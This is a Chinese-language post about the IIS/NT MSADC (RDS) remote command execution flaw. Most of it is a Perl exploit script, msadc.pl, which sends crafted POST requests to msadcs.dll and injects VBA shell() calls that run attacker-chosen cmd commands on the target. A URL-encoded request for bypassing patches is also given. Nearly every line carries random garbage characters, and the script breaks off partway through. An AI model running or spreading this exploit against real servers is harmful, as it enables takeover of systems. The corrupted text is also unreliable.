IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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Vx( 2;}xN! 8 涉及程序:
8xgc[# Microsoft NT server
!xH,y n4R]+&* 描述:
b<\G I7 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
M;PlSb ~QO<
B2hS} 详细:
.Nk6 如果你没有时间读详细内容的话,就删除:
*V<)p%l. c:\Program Files\Common Files\System\Msadc\msadcs.dll
3l+|&q[v 有关的安全问题就没有了。
0@w&J9yG =x oBC&u 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
HFv?s u{pTva 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
YpiRF+G
关于利用ODBC远程漏洞的描述,请参看:
J]\s*,C& flPZlL http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DbQBVy sgD@}":m 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
hsz$S:am http://www.microsoft.com/security/bulletins/MS99-025faq.asp L*IU0Jy>
+Bn?-{h= 这里不再论述。
nE^wxtY k=FcPF" 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
pBvo M={2! W*3o|x /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ipg\9*c` 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ym[+Rw ,A^L=+ &'NQ)Dn #将下面这段保存为txt文件,然后: "perl -x 文件名"
%qONJP % hNn%Oy:E #!perl
<w;D$l}u #
PXR0 Yn # MSADC/RDS 'usage' (aka exploit) script
Dn: Yi8= #
VDPxue # by rain.forest.puppy
g8Ok ^ #
A?\h|u< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
D`8E-Bq # beta test and find errors!
;g6 nHek V02309Y use Socket; use Getopt::Std;
&8zk3 getopts("e:vd:h:XR", \%args);
q~mcjbLz ^sJ1 ^LT print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2k%Bl+I +7`u9j. if (!defined $args{h} && !defined $args{R}) {
l;XUh9RF`A print qq~
FU^Y{sbDg Usage: msadc.pl -h <host> { -d <delay> -X -v }
I8:"h -h <host> = host you want to scan (ip or domain)
"[Yip5 -d <seconds> = delay between calls, default 1 second
1o(+rR<h9 -X = dump Index Server path table, if available
,I("x2 -v = verbose
bL+sN"Km -e = external dictionary file for step 5
NuHL5C?To LZbRQ"!!o Or a -R will resume a command session
gq=0L: Ni&,g ~; exit;}
So0`c,D _Wq7U1v` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}'%$7vL`Ft if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kg zwlKK if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
CzK%x?~] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:u,2"] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-DA;KWYS if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
HW^{ ;'kH~ (2n3exx if (!defined $args{R}){ $ret = &has_msadc;
o@Dk%LxP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
wHq('+{=&
r#ks>s print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#d3[uF]OmW . "cmd /c ";
AX/=}G $in=<STDIN>; chomp $in;
&mCs%l $command="cmd /c " . $in ;
(
?atGFgu *4zoAs lU1 if (defined $args{R}) {&load; exit;}
>:="?'N5l! g]:..W7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
V=:,]fTr &try_btcustmr;
4&#vU(-H r7zf+a] print "\nStep 2: Trying to make our own DSN...";
\ro~-n+ o &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
44z=m MR< SZNFE print "\nStep 3: Trying known DSNs...";
ER0TY, &known_dsn;
}Ox2olUX Z`e$~n(Bh print "\nStep 4: Trying known .mdbs...";
AEBw#v!,o &known_mdb;
*9\oD~2Y IO?~b X P if (defined $args{e}){
,"4X&>_f print "\nStep 5: Trying dictionary of DSN names...";
bfcD5:q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
PGC07U:B <!$j9) ~x print "Sorry Charley...maybe next time?\n";
0]f?Dx/8 exit;
{6REfY
c ;Of?fe5: ##############################################################################
Q&\ZC?y4 Tom}sFl][ sub sendraw { # ripped and modded from whisker
GA({r i sleep($delay); # it's a DoS on the server! At least on mine...
jFI]54, my ($pstr)=@_;
\z(>h& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
={e#lC die("Socket problems\n");
$u/8Rp if(connect(S,pack "SnA4x8",2,80,$target)){
W+fkWq7`Xx select(S); $|=1;
zW|$x<M^ print $pstr; my @in=<S>;
LA( f]Xmc select(STDOUT); close(S);
XyN`BDFi return @in;
yTMGISX5 } else { die("Can't connect...\n"); }}
B'<O)"1w Py( w T%w ##############################################################################
3?-V>-[G_ LWp?U!N sub make_header { # make the HTTP request
LGdf_M-f my $msadc=<<EOT
0~LnnDN POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
&q kl*#] User-Agent: ACTIVEDATA
wpPxEp/ Host: $ip
c/,|[t Content-Length: $clen
+ xkMW%e< Connection: Keep-Alive
zwF7DnW<< 6"#Tvj~-8 ADCClientVersion:01.06
y0W`E/1t Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?Vb=4B{~ ^ ^U)WB --!ADM!ROX!YOUR!WORLD!
YQlpk@X`2 Content-Type: application/x-varg
!YuON6{) Content-Length: $reqlen
qX}dbuDE"P `0/gs EOT
c;A
ew! ; $msadc=~s/\n/\r\n/g;
O;.d4pO(tC return $msadc;}
I+-Rs2wb IrVM|8vT3 ##############################################################################
vwSX$OZ Fp* &os sub make_req { # make the RDS request
lS Kv* my ($switch, $p1, $p2)=@_;
QQ2OZy>W my $req=""; my $t1, $t2, $query, $dsn;
#EwRb<'Em @idp8J [td if ($switch==1){ # this is the btcustmr.mdb query
O>{t}6o $query="Select * from Customers where City=" . make_shell();
8DmX4* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I=Lj_UF4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
ln_EL?V Nc^b8&
2J elsif ($switch==2){ # this is general make table query
wZ#~+ }T $query="create table AZZ (B int, C varchar(10))";
_'o^@v: $dsn="$p1";}
Sxx.>gP"61 \p_8YC elsif ($switch==3){ # this is general exploit table query
SK~;<>:37 $query="select * from AZZ where C=" . make_shell();
/3bca !O $dsn="$p1";}
dh7)N}2 $(!D/bvJ elsif ($switch==4){ # attempt to hork file info from index server
NC#kI3 { $query="select path from scope()";
2T{-J!k $dsn="Provider=MSIDXS;";}
0bRkC,N
( q,19NZ elsif ($switch==5){ # bad query
|R|U z` $query="select";
V%Z[,C
u+ $dsn="$p1";}
h3vm<R; 0L
4]z'5 $t1= make_unicode($query);
7cQHRM+1 $t2= make_unicode($dsn);
R&d_WB4w $req = "\x02\x00\x03\x00";
}@t'rK[ $req.= "\x08\x00" . pack ("S1", length($t1));
i(TDJ@} $req.= "\x00\x00" . $t1 ;
tI6USN% $req.= "\x08\x00" . pack ("S1", length($t2));
}G0.Lq+a $req.= "\x00\x00" . $t2 ;
{mq$W $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
jTxChR return $req;}
A/W7;D {e!uvz,e ##############################################################################
^Xz`hR 67hPQ/S1 sub make_shell { # this makes the shell() statement
T3PaG\5B return "'|shell(\"$command\")|'";}
/m|&nl8"qe q=L*
99S ##############################################################################
\q)1TTnHS znDtM1sLeV sub make_unicode { # quick little function to convert to unicode
rSFXchD/ my ($in)=@_; my $out;
mU0r"\**c3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Ny&Fjzl return $out;}
%.Q2r ?j sfBjA ##############################################################################
t.i9!'Y ] [n@!=T sub rdo_success { # checks for RDO return success (this is kludge)
|<o>$;mZ my (@in) = @_; my $base=content_start(@in);
8;dbU* if($in[$base]=~/multipart\/mixed/){
\/e*quxx return 1 if( $in[$base+10]=~/^\x09\x00/ );}
I@3c QxI return 0;}
mk3e^,[A !n?*vN=S ##############################################################################
77[;J .]d
tRH< sub make_dsn { # this makes a DSN for us
y{},{~FA" my @drives=("c","d","e","f");
PX>\j& print "\nMaking DSN: ";
@):NNbtA foreach $drive (@drives) {
Bo\dt@0; print "$drive: ";
R<